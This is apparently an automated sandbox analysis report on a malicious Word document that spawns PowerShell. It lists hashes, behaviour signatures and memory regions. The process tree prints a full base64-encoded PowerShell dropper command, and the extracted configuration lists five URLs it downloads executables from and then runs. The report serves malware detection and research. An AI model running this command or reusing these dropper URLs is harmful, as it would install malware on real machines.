Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 04:53

General

  • Target

    8606e5889086b6df3e3e2b6cc9fad16c_JaffaCakes118.doc

  • Size

    228KB

  • MD5

    8606e5889086b6df3e3e2b6cc9fad16c

  • SHA1

    eec24a375429d9724baaa9099028c2d01791520e

  • SHA256

    27b4e4a88cd26424b046374ad5b78f94c0323a14550539a96facad38e629714c

  • SHA512

    a4cd2df7467552da6aac139cdd81f108c8a4e8da4d1147ec09185bffb18c7a1713d7598b4db43be8a625f8d96b43f243847f64c19c6c512bdc6be5d9ab2d3f51

  • SSDEEP

    3072:1j6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGkKl3O+zzqXwcbR9z:1HgtEWPsL/aTyT9GkKle+zzIwcbR1

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.hammockworld.co.nz/imgs/xyTBsz/

exe.dropper

http://seatrade.com.eg/index_files/OGUwzJl/

exe.dropper

http://www.nancywhite-realtor.com/wp-content/qavvddXh/

exe.dropper

http://skullmedia.de/befroe.de/eyiY/

exe.dropper

https://damoshushu.com/wp-content/xhcurZgXJ/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8606e5889086b6df3e3e2b6cc9fad16c_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2524
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABLADgAOABnADkAYwBfAD0AJwBYAHoAcwA3ADkAYQBoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQBgAFIAaQBgAFQAWQBwAFIATwB0AGAATwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwANQBpADQAZABuAHAAIAA9ACAAJwBYAGYAcABsACcAOwAkAEgAcQB1AHQAbwA4ADcAPQAnAFUAYgB2AHkAYwB6AG4AJwA7ACQAVQBwAHoAdAB2AGgAbgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEwANQBpADQAZABuAHAAKwAnAC4AZQB4AGUAJwA7ACQAUAA5AGwAMQBwAGsAeAA9ACcAUwByAHAAcQB3AG0AdgAnADsAJABLAG0ANQBpAHYAXwAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAEMAbABpAEUATgBUADsAJABTADIAagBsAGIAYQA2AD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBoAGEAbQBtAG8AYwBrAHcAbwByAGwAZAAuAGMAbwAuAG4AegAvAGkAbQBnAHMALwB4AHkAVABCAHMAegAvACoAaAB0AHQAcAA6AC8ALwBzAGUAYQB0AHIAYQBkAGUALgBjAG8AbQAuAGUAZwAvAGkAbgBkAGUAeABfAGYAaQBsAGUAcwAvAE8ARwBVAHcAegBKAGwALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAGEAbgBjAHkAdwBoAGkAdABlAC0AcgBlAGEAbAB0AG8AcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHEAYQB2AHYAZABkAFgAaAAvACoAaAB0AHQAcAA6AC8ALwBzAGsAdQBsAGwAbQBlAGQAaQBhAC4AZABlAC8AYgBlAGYAcgBvAGUALgBkAGUALwBlAHkAaQBZAC8AKgBoAHQAdABwAHMAOgAvAC8AZABhAG0AbwBzAGgAdQBzAGgAdQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHgAaABjAHUAcgBaAGcAWABKAC8AJwAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAGoAdwAwAG0AbwA0AD0AJwBFADMAeAA2AGUANQA1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABCAHIAdgAzAHEAcgBlACAAaQBuACAAJABTADIAagBsAGIAYQA2ACkAewB0AHIAeQB7ACQASwBtADUAaQB2AF8AMAAuACIARABgAG8AVwBuAGwATwBgAEEAYABEAGYAaQBsAGUAIgAoACQAQgByAHYAMwBxAHIAZQAsACAAJABVAHAAegB0AHYAaABuACkAOwAkAFIAeQBsAGoAawAyADIAPQAnAFYAeQA0ADgAcgBwAHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABVAHAAegB0AHYAaABuACkALgAiAEwAZQBOAGAARwBUAEgAIgAgAC0AZwBlACAAMgA4ADkAMwA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFUAcAB6AHQAdgBoAG4AKQA7ACQAQgAyADUAZABvAGgAaAA9ACcARwB0AHkAeAAzADMANwAnADsAYgByAGUAYQBrADsAJABFADQAOQBhAG0AaQBnAD0AJwBQAGYAegB2ADcAdQAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAbwBjAGMAYQBmAGoAPQAnAEMAZQBhAGkAZABuAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2440

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      7b56def810e0ff908fafb736fa8e7c72

      SHA1

      187a9b6a51d07f7cb84c76185dc324256d458b68

      SHA256

      cdfb11d0644764489ea8762ffbc335e99101f1c171961ea29a7c6b4639214138

      SHA512

      a8aa1b65664924054e809804bf10ce9542cc733415eeb843fd670f88b6367ba6c49c27c7365fe9554b27db1595009016905fc36cb260cfbc565dfd0a4d140efc

    • memory/2440-43-0x000000001B650000-0x000000001B932000-memory.dmp

      Filesize

      2.9MB

    • memory/2440-44-0x00000000027E0000-0x00000000027E8000-memory.dmp

      Filesize

      32KB

    • memory/2524-7-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2524-37-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2524-8-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2524-17-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2524-26-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2524-36-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2524-35-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2524-0-0x000000002FEE1000-0x000000002FEE2000-memory.dmp

      Filesize

      4KB

    • memory/2524-6-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2524-2-0x00000000711AD000-0x00000000711B8000-memory.dmp

      Filesize

      44KB

    • memory/2524-47-0x00000000711AD000-0x00000000711B8000-memory.dmp

      Filesize

      44KB

    • memory/2524-50-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2524-52-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2524-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2524-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2524-69-0x00000000711AD000-0x00000000711B8000-memory.dmp

      Filesize

      44KB